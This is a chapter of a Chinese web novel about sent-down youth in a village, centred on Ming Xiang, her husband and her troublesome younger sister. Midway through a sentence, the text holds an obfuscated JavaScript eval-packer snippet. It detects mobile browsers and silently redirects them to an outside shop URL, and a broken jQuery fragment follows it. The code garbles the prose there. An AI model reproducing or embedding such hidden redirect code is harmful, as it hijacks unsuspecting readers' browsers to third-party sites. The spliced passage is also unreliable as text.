明湘可不是单纯的吓唬明如意。

    大队长人很好,但没人会喜欢天天给人擦屁股。如果能使点小伎俩,让麻烦精变老实,相信他会很愿意的。

    说句不好听的,知青来了下乡的大队,吃喝住行基本上都要依靠本地村民。想搞一个初来乍到、没吃过苦的年轻知青,轻而易举。

    明湘没有以德报怨的好心肠。

    明如意会来红树大队,显然是刻意的。目的不言而喻。

    她才不会任由明如意趴在背上吸血。毕竟明家人都不曾在原主手上得到过好处,那她自然也不能坠了原主的威名。

    宋寒亭适时的走了出来,眉眼冷淡,说出的话令明如意在炎炎夏日四肢发寒:“你为什么来这里,我不管。但你既然来了,就安分守己些。你不会想知道后果。”

    瘦死的骆驼比马大。

    何况宋家仅仅是宋历钊这一脉受了影响,远在西北的宋家老大一家和在M国养病的宋老爷子都不是善茬。怕老爷子担心影响病情,宋家出事都是紧紧瞒着那边的。

    宋历钊上头还有个大哥,在部队任职。

    这些人明家人大多都没见过,连宋老爷子也只是在宋寒亭和明湘结婚那年回过国一次。

    明如意被他眼里的寒意震慑住了,那眼神仿佛是在看一个不相关的垃圾。只觉心底突突直跳,喉咙发干。

    她原本就对宋寒亭有些发怵。

    以前她还生出过和明湘抢宋寒亭的心思。

    宋寒亭相貌堂堂,成绩优异,家世还不简单。这样的人凭什么是她最看不起的二姐的。要是换成是她,肯定能做的更好。

    直到私下的小动作被宋寒亭发觉,他竟然直接出手威胁明父明母的工作。

    消息传到她耳中,明如意瞬间就懂了这是做给她看的,那之后就再也不敢乱来了。她能有现在的好生活,都是靠着爸妈的双职工。

    “姐……姐夫,我知道了。”

    先前还在牛逼哄哄喊着“宋寒亭”三个大字的明如意,结结巴巴的应声。

    宋寒亭没给她多余眼神:“麻烦离开我家。”

    明如意如释重负,像听到什么命令般手忙脚乱的扭头就跑了。仿佛身后有可怕的大怪物在追赶一样。

    明湘看着这一幕,和宋小鱼同款仰头姿势看宋寒亭,道出事实:“她很怕你?”

    两张白嫩漂亮的脸蛋挨在一起,五官轮廓隐隐相似,连皱眉弧度都几乎一模一样。

    这近在咫尺的温馨画面,令宋寒亭心尖尖直发颤,忍住了伸手抚摸的冲动:“嗯。背地里给过她一些小教训。”

    明湘若有所思,自言自语:“早知道你这么管用,我还担心什么呀。碰上她,直接放你出去应付。”

    说完,才发现话里有“开门放狗”的歧义。

    她努力绷住嘴角,睁圆清澈的大眼睛。见宋寒亭似乎没听出来就当随口一说。

    宋小鱼给力捧场:“爸爸好厉害。”夸完这个,还不忘一碗水端平:“妈妈也好厉害!”

    “那我们小鱼最厉害。”

    明湘两眼弯弯,凑过去蹭了蹭他的小脸蛋。

    宋小鱼被夸的抿唇羞涩一笑。

    还以为会有大战一场,没想到戛然而止。事后明湘回忆,可惜的摇摇头,感觉刚刚有些没发挥好啊。

    高光时刻都被宋寒亭给抢了。

    可恶啊。

    但不得不说,明如意的到来,为平静安稳的生活荡起了一丝波澜。许是宋寒亭的一番话起了效果,明如意还真不敢跑他们面前来再提那些无理的要求。

    只是每每碰着都会说上几句酸言酸语,话里还不忘用爸妈来压她明湘。

    但明湘哪会放心上,明家人的存在甚至还比不过最近总来找她的金玲。

    去地里上工对从小娇养着长大的明如意是莫大的折磨。她爱美,第一天上工还穿着青色格子裙,裙摆飘飘,跟村民们格格不入。好看归好看,但活儿没干多少,反而把裸露在外的小腿割伤了。

    那血哗啦哗啦的流。

    其实同屋的知青出门有好心提醒过她,委婉让她换身衣服。但明如意哪听得进去这话,只觉得她们都是不安好心的家伙。

    八月底,地里大部分的庄稼都已收割完成。

    主要农活是翻土地和去开垦荒地。

    大队长没法,只好让新来的几个知青和女人们去坝子上翻晒作物。这总不能再折腾出事了吧。

    知青点这段时间可谓是苦不堪言。

    尤其是和明如意住同一屋的几个知青。

    天天听她嫌这儿不好,嫌那儿不好,还得时不时听她怀念以前在京市过得有多么多么的好。活一点不干,还想吃白饭,被说了就呜呜呜的哭,跟谁又欺负了她一样。

    晚上睡觉还能听她躲被窝里哭。

    天天哭,福气都给哭没了。

    金玲倒听的津津有味,只要明如意不主动来招惹她,那就当个乐子看。回头再讲给明湘听,也不失为一种乐趣。

    看明如意初来那阵仗,还以为是个不好惹的,结果就是欺软怕硬。自身硬件条件还是蛮吸引人的,总有为了好处和利益上钩的知情。

    明如意无依无靠的过了两天,总算明白了一个人生活不行。她需要朋友,于是给出不少好东西,才勉强在知青点立稳脚跟。现在她也不是孤身一人了,林露和她成了朋友。

    至于林露是不是真心的,那不重要。

    重要的是你情我愿就够了。

    这天。

    明如意被太阳晒的脑袋发晕,看着满手水泡和红痕,一瘸一拐的跟大队长请了假。知青点也不想回,沿着村口走到一处无人的小山坡处,坐在地上抱着双腿,又哭了起来。

    早早割完猪草,和明湘在村里溜达的杨雨菲,大老远就瞧见了那道人影。

    “诶,明湘,你看那儿,是不是你那个妹妹啊?”

    杨雨菲的肚子已经很大了,再过十天半个月就该生了。而她本人还淡定的不行,仍旧每天去挣那一两个工分。

    明湘从起初的担忧,到现在也已习以为常了。

    她寻声看去:“应该是吧。”她和明如意不熟,单要从身影看出是不是明如意,这还真不行。

    “我瞧着是她。”杨雨菲没往前走了,拉着明湘说悄悄话,“这又咋了?你是不知道,你这妹妹的‘爱哭’在村里头出了名,一天能哭十次八次的。连大队长和我爸都烦了,说没见过这么折腾人的知青。”

    杨雨菲口中的‘爸’,是丈夫李志飞的爸,也就是大队书记。

    “现在大家都盼着不要和她分到一组,不想被帮倒忙。你说她到底是咋想的?这都来快一周了吧,咋还没适应下来。你爸妈真那么疼爱闺女啊?她在家不会连碗都没洗过吧?”

    杨雨菲满脸的好奇。她很少见有人家把闺女养的这般娇气的,以前还会羡慕别人家那么疼爱闺女的爸妈,现在这一看,也不知是福还是祸了。

    村里最近的风言风语她也听说过一些。

    明如意那些似是而非的那些话,有些村民还是信了。私底下都在说明湘宋寒亭这对当姐

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17600309|204683||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    姐姐夫的太无情冷漠了些,好歹是同一个爸妈的亲妹妹啊,真就这么狠心的一点不管。

    就明湘那条件,要是能帮一帮,当妹妹的明如意也不会过得这般凄惨。

    明湘没放在心上,说就说呗,还能掉块肉咋滴。要真放在心上,那才是中了明如意的圈套。

    “她和我那三弟是双胞胎,她又是家里最小的,爸妈多关注些也是正常的。”明湘轻描淡写的说道,“只要她没死,我就不会插手。”

    明如意在家洗没洗碗她确实不知道。

    但她也没在杨雨菲面前装模作样,想充当一个好姐姐的形象。

    两人关系不和,本就是众所周知的事实。

    杨雨菲眼里笑容更甚:“挺好的。我还怕你上赶着去呢。你那妹妹平时说的那些,也显然没真把你当姐姐的。反正你都嫁人了,和娘家人关系好不好也不那么重要了,过好你和宋知青的小日子就好了。”

    都是过来人,她多少看出了明湘和宋知青之间的问题。宋知青那人性子冷了些,但看明湘时的眼里有光,这位肯定是爱的。

    但明湘她就有些不太确定了。

    说爱吧,不太对;说不爱吧,好像也不是。

    这对小夫妻还有得磨。

    不过杨雨菲觉得这不是大问题。小鱼那孩子都四岁了,慢慢来吧,日久生情也是好的。

    “嗯嗯,我知道的。”

    明湘莞尔一笑,眉眼间的神情放肆明媚。

    “我们换条路走吧。”杨雨菲瞥了眼小土坡边上的明如意,脚尖一转,淡淡说着,“只希望她能尽早认清现实,这里的生活不是光掉几滴眼泪就能活下去的。等上面发的口粮吃完,就算家里给的钱再多,时间一长也没空折腾了。”

    来下乡的知青,谁不是这样熬过来的。

    男女知青都一样,地里的活儿再艰难,再怀念以前在城里的好日子,为了下个月口粮也得咬着牙下地挣工分。

    杨雨菲想起什么,转头看她:“大队上说要建一个小学,公社那边派来的老师就快到了,应该会在村里找一两个帮着教书的。你和宋知青可以去试试。”

    这是个好工作。

    虽然只可能是民办老师,但要是成功了也能吃上公粮。到时候不仅有工分拿,还能摆脱在地里上工的劳累。

    要不是她肚子大了,其实也想去争取一下。但她也清楚自身没那个实力,她小学都没念完,就怕是比文盲好点。

    杨雨菲嫁进李家,也成了本地村民。但她并没几个能说话的朋友,她和那些知青本就不太熟。

    嫁人之后就没再怎么联系了。

    李家人待她很好,才得了割猪草这个轻松活儿。而同行的大多是年迈老婆子或者一些半大的小女孩。

    这段时日和明湘一起,她很开心。想了想,还是决定把这好消息告诉对方。

    当老师,教书?

    明湘茫然一瞬,很快反应过来这是杨雨菲的善意:“好,我知道的。雨菲,太感谢你了。”

    “这消息这几天就会传出去,我也就是提前一两天告诉了你。不过还是需要你自己努力。更多的我也帮不上忙。但你可以去找大队长问问。”

    杨雨菲怕她误会,是要去行贿大队长,解释道:“大队长的小儿子在公社教书,家里有个当老师的,应该会比我们这些外行懂的多。”

    明湘没想过当老师,但兼职工作里有过补课的经历。

    小学初中高中的都有过。

    去试一试似乎也不错,就当是多一种人生经历了。